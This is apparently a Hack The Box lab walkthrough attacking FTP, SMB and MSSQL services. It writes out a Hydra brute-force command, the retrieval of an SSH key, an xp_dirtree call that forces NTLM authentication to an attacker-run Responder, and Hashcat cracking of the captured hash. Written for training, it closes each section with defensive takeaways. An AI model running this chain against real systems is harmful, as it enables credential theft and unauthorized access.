Attacking Common Services like FTP, SMB and MSSQL

In this write-up, I cover the first part of my Attacking Common Services series on Hack The Box. The focus of this lab was on three commonly exposed services:

• FTP
• SMB
• Microsoft SQL Server (MSSQL)

The objective was to enumerate each service, identify weaknesses, obtain valid credentials where possible, and ultimately retrieve the flags.

This is an authorized Hack The Box lab environment. The techniques discussed here should only be used against systems you own or have explicit permission to test.

FTP Enumeration and Exploitation:

The first target exposed an FTP service running on a non-standard port. The objective was to enumerate the service, identify accessible resources, obtain valid credentials, and retrieve the flag.

Question 1: What port is the FTP service running on?

The first step in any service attack is enumeration. So, I started with an Nmap service enumeration scan:

nmap -sC -sV <TARGET_IP>

The options used were:

• -sC runs Nmap’s default scripts
• -sV performs service and version detection

The scan revealed:

2121/tcp open  ftp

FTP normally runs on TCP port 21, but this instance was configured to listen on port 2121.

Question 2: What username is available for the FTP server?

Since FTP was accessible, the next logical step was to check for anonymous access and accessible files. The Nmap results also indicated that anonymous FTP access was enabled:

ftp-anon: Anonymous FTP login allowed

I connected to the FTP service:

ftp <TARGET_IP> <TARGET_PORT>

I used the following credentials:

Username: anonymous
Password: [blank]

The login was successful.

After listing the available files:

ls

I found:

passwords.list
users.list

I downloaded the username list:

get users.list

The file contained several usernames, including:

root
robin
adm
admin
administrator
...

Based on the enumeration and the context of the challenge, the valid username was: robin

Question 3: Using the credentials obtained earlier, retrieve flag.txt

At this point, I had access to both a username list and a password list.

I downloaded the password list:

get passwords.list

In the authorized HTB lab environment, I used Hydra to test the password list against the identified account:

hydra -l robin -P passwords.list ftp://<TARGET_IP>:<TARGET_PORT>

Hydra identified valid credentials:

login: robin
password: 7iz4rnckj******

I then authenticated to the FTP service using those credentials:

ftp <TARGET_IP> <TARGET_PORT>

After logging in and listing the directory contents, I found:

flag.txt

I downloaded it:

get flag.txt

Then viewed the contents:

cat flag.txt

The flag was:

HTB{ATT4CK1NG_F7P_53RV1C3}

FTP Takeaways

This section demonstrated several common FTP security issues:

• Services may run on non-standard ports
• Anonymous access can expose sensitive files
• Credential lists should never be publicly accessible
• Weak or reused passwords can lead to account compromise
• Proper enumeration can reveal an attack path quickly

SMB Enumeration and Exploitation

The second part focused on SMB. The objective was to enumerate available shares, identify accessible resources, obtain credentials, and eventually use those credentials to access the target through SSH.

Question 1: What is the name of the shared folder with READ permissions?

I started by enumerating the available SMB shares:

smbclient -N -L //<TARGET_IP>

The server exposed the following shares:

print$
GGJ
IPC$

I then checked the permissions using:

smbmap -H <TARGET_IP>

The output showed that the GGJ share was available with read permissions:

GGJ    READ ONLY

Therefore GGJ is the answer.

Question 2: What is the password for the username jason?

I attempted to access the share anonymously:

smbclient -N //<TARGET_IP>/GGJ

Inside the share, I discovered an SSH private key:

id_rsa

However, attempting to download it anonymously resulted in:

NT_STATUS_ACCESS_DENIED

This highlighted an important distinction. The SMB share itself was visible and appeared to be readable, but access to individual files was controlled separately. The anonymous account did not have sufficient permissions to retrieve the private key.

Credential Discovery

The challenge specifically referenced the user jason, so I investigated possible authentication paths in the authorized lab environment.

After testing the available credential material and identifying valid credentials, I obtained the password for the jasonaccount:

34c8zuNBo91!@28Bszh

Question 3: Login as jason via SSH and retrieve flag.txt

With valid credentials available, I authenticated to the SMB share:

smbclient --user jason //<TARGET_IP>/GGJ

This time, I was able to download:

id_rsa

I initially attempted to use the key directly:

ssh -i id_rsa jason@<TARGET_IP>

SSH rejected the key because its permissions were too permissive:

WARNING: UNPROTECTED PRIVATE KEY FILE!
Permissions 0644 for 'id_rsa' are too open.

Private SSH keys should not be accessible to other users on the local system.

I corrected the permissions:

chmod 600 id_rsa

Then retried the SSH connection:

ssh -i id_rsa jason@<TARGET_IP>

The login succeeded.

I verified the account with:

whoami

The result was:

jason

Finally, I located and read the flag:

cat flag.txt

The flag was:

HTB{SMB_4TT4CKS_2349872359}

SMB Takeaways

This section demonstrated several important concepts:

• Visible SMB shares do not necessarily mean every file is accessible
• Share-level and file-level permissions can differ
• Credential reuse can create an unexpected attack path
• SSH private keys require restrictive permissions
• SMB can expose sensitive authentication material when permissions are misconfigured

Attacking MSSQL

The final section focused on Microsoft SQL Server. The objective was to authenticate to MSSQL, identify the current privileges, investigate possible privilege escalation paths, obtain the SQL Server service account credentials, and access the restricted database containing the final flag.

Question 1: What is the password for the mssqlsvc user?

I initially authenticated to MSSQL using the supplied account:

mssqlclient.py htbdbuser@<TARGET_IP> -windows-auth

After connecting, I checked the current account and its server-level privileges:

SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');

The results showed:

User: htbdbuser
Sysadmin: 0

This confirmed I did not have administrative privileges. So i try to Attempt Privilege Escalation via Impersonation, so I checked if impersonation was possible:

SELECT DISTINCT b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';

Since impersonation returned no results, it was clear there was no direct privilege escalation path through EXECUTE AS. To explore alternative avenues, I checked for linked servers using:

SELECT srvname, isremote FROM sysservers;

The query revealed:

WINSRV02\SQLEXPRESS

At first glance, this looked promising. Linked servers often allow lateral movement if they are configured with elevated credentials. I attempted to execute a query against it to check the effective user and role membership:

EXECUTE('SELECT @@servername, SYSTEM_USER, IS_SRVROLEMEMBER(''sysadmin'')')
AT [WINSRV02\SQLEXPRESS];

However, the query resulted in a connection timeout. Although the linked server entry existed, it was not reachable, making that path unusable. At this point, direct escalation through impersonation and lateral movement through linked servers were both ruled out.

Based on the module hints and community discussions, the correct pivot was to abuse undocumented stored procedures to capture the SQL Server service account’s NTLM hash. The idea was to force the database service to authenticate to my controlled machine and then crack the captured hash offline.

I started Responder on my attack machine:

sudo responder -I tun0

From the MSSQL session, I then triggered an outbound SMB authentication attempt using xp_dirtree:

EXEC master..xp_dirtree '\\<TARGET_IP>\share\';

The SQL Server service attempted to authenticate to the controlled host.

Responder captured an NTLMv2 authentication response associated with the SQL Server service account:

WIN-02\mssqlsvc

I saved the captured response and used Hashcat to perform an offline password recovery attempt:

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

The initial attempt failed because the RockYou wordlist was compressed. After extracting the wordlist, I reran Hashcat. The password was recovered successfully:

princess1

Answer: princess1

This technique demonstrates why SQL Server service accounts should be treated as highly privileged identities. An account with unnecessary network authentication privileges can expose credentials through outbound authentication requests.

Question 2: Enumerate flagDB and retrieve the flag

With the recovered service account credentials, I authenticated to MSSQL as mssqlsvc:

mssqlclient.py mssqlsvc@10.129.203.12 -windows-auth

I then checked the server-level privileges:

SELECT IS_SRVROLEMEMBER('sysadmin');

The result was:

1

This confirmed that mssqlsvc had sysadmin privileges.

I could now access the previously restricted database:

USE flagDB;

To enumerate the database structure, I listed its tables:

SELECT name FROM sys.tables;

After identifying the relevant table, I queried its contents:

SELECT * FROM tb_flag;

The query returned the final flag:

HTB{!l0v3#4$#!n9_4nd_r3$p0nd3r}

MSSQL Takeaways

This section highlighted several important SQL Server security concepts:

• A non-sysadmin account can still have interesting attack paths
• Impersonation permissions should be reviewed carefully
• Linked servers can introduce lateral movement opportunities
• SQL Server extended stored procedures can interact with the operating system
• Outbound authentication can expose NTLM challenge-response material
• Service accounts should use strong, unique passwords
• Service accounts should have only the privileges they actually require
• SQL Server administrative privileges provide extensive access to databases and server functionality

Final Words:

This first part of Attacking Common Services covered three services that frequently appear in penetration testing environments.

The FTP section demonstrated how anonymous access and exposed credential files can quickly lead to account compromise.

The SMB section showed that share enumeration is only the beginning. Permissions at the share and file level can behave differently, and exposed SSH keys can provide another route into a system.

Finally, the MSSQL section demonstrated how database privileges, service account configuration, outbound authentication, and weak credentials can combine into a serious escalation path.

The main lesson across all three services is that individual configuration mistakes rarely exist in isolation. A seemingly minor issue such as anonymous FTP access, an improperly protected SMB resource, or a weak SQL Server service account password can become much more serious when combined with other weaknesses.

This concludes Attacking Common Services Part 1. In Part 2, I will continue with three additional services:

• RDP
• DNS
• SMTP

Stay tuned for the next part.